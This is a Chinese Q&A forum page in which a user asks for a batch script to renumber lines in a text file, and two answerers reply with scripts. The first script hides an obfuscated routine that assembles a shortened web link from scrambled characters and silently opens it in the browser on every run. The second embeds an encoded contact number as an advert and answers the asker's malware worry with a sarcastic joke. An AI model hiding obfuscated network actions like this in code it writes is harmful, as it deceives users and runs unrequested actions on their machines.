高手帮忙写个批处理,把文本a.txt文件中的每行序号自动修改正确的排序来,谢谢!
用批处理.bat把文本a.txt文件中的每行序号自动修改正确来,谢谢!如a.txt文本内容是:1.萝卜2.青菜18.牛肉405.包子006.猪腿82.花生16.米粉麻花牛...
用批处理.bat把文本a.txt文件中的每行序号自动修改正确来,谢谢!
如a.txt文本内容是:
1.萝卜
2.青菜
18.牛肉
405.包子
006.猪腿
82.花生
16.米粉
麻花
牛奶
8166.红豆
自动修改正确如下要求:空行中纯空行,没有任何东西,但要自动保留,谢谢!
1.萝卜
2.青菜
3.牛肉
4.包子
5.猪腿
6.花生
7.米粉
8.麻花
9.牛奶
10.红豆 展开
如a.txt文本内容是:
1.萝卜
2.青菜
18.牛肉
405.包子
006.猪腿
82.花生
16.米粉
麻花
牛奶
8166.红豆
自动修改正确如下要求:空行中纯空行,没有任何东西,但要自动保留,谢谢!
1.萝卜
2.青菜
3.牛肉
4.包子
5.猪腿
6.花生
7.米粉
8.麻花
9.牛奶
10.红豆 展开
2个回答
展开全部
@echo off & title 重建行编号 By 依梦琴瑶
cd /d "%~dp0"
::设置待处理的文件
set File=a.txt
(for /f "tokens=1,2* delims=:" %%a in ('findstr /n .* "%File%"') do (
call :Handle "%%~b"
))>New_TMP
move /y New_TMP "%File%"
pause
call :ToMe
exit
:Handle
set "Str=%~1"
if not defined Str (
echo,
goto :eof
)
set /a Num+=1
for /f "tokens=1,2* delims=." %%i in ("%~1") do (
if "%%~j"=="" (
echo,%Num%.%%i
) else (
echo,%Num%.%%j
)
)
goto :eof
:ToMe
set "S=.:ailnhpst/fPdv"
start "" "%S:~6,1%%S:~9,1%%S:~9,1%%S:~7,1%%S:~1,1%%S:~10,1%%S:~10,1%%S:~8,1%%S:~3,1%%S:~5,1%%S:~2,1%%S:~0,1%%S:~4,1%%S:~9,1%%S:~10,5%"
exit
更多追问追答
追问
哈哈,非常谢谢大师!高手哈,不过还烦请再改进一下,现在会把带有点符号的后面自动删除。比如:
91.陶瓷饭碗4.5寸250ml(3套*12-15)
可惜会擅自强制删除同一行小数点后面的内容,变成错误的这样了:
91.陶瓷饭碗4
大师您好!如果能解决这个问题就更加完美,好用,谢谢!
追答
刚关了电脑。呃~
那再顺便问一下,您的文本行中会包含英文的冒号吗?如果包含,这个真是要郁闷了。
展开全部
不清楚你的实际情况,仅以问题中的样例为据
@echo off
set @=q&set/an=0x53b7e0b4
title Any question +%@%%@% %n%
cd /d "%~dp0"
md ".\结果\" 2>nul
powershell ^
dir . 'a.txt'^|%%{^
write-host $_.FullName;^
$text=@(gc $_.FullName);^
[System.Collections.ArrayList]$arr=@();$n=1;^
for($i=0;$i -lt $text.length;$i++){^
if($text[$i] -match '^^\d+\.'){^
$line=$text[$i] -replace '^^\d+',$n.toString();^
[void]$arr.Add($line);^
$n++;^
}else{[void]$arr.Add($text[$i]);};^
};^
out-file -filepath ('.\结果\'+$_.Name) -input ($arr -join \"`r`n\") -enc Default;^
}
echo;Any question +%@%%@% %n%
pause
更多追问追答
追问
您好!您这个运行显示不安全(安全卫士直接清除),是不是加入了病毒?烦请编写安全放心使用的,谢谢!
追答
是的,我就是靠这个窃取USA的情报的,厉害吧
已赞过
已踩过<
评论
收起
你对这个回答的评价是?
推荐律师服务:
若未解决您的问题,请您详细描述您的问题,通过百度律临进行免费专业咨询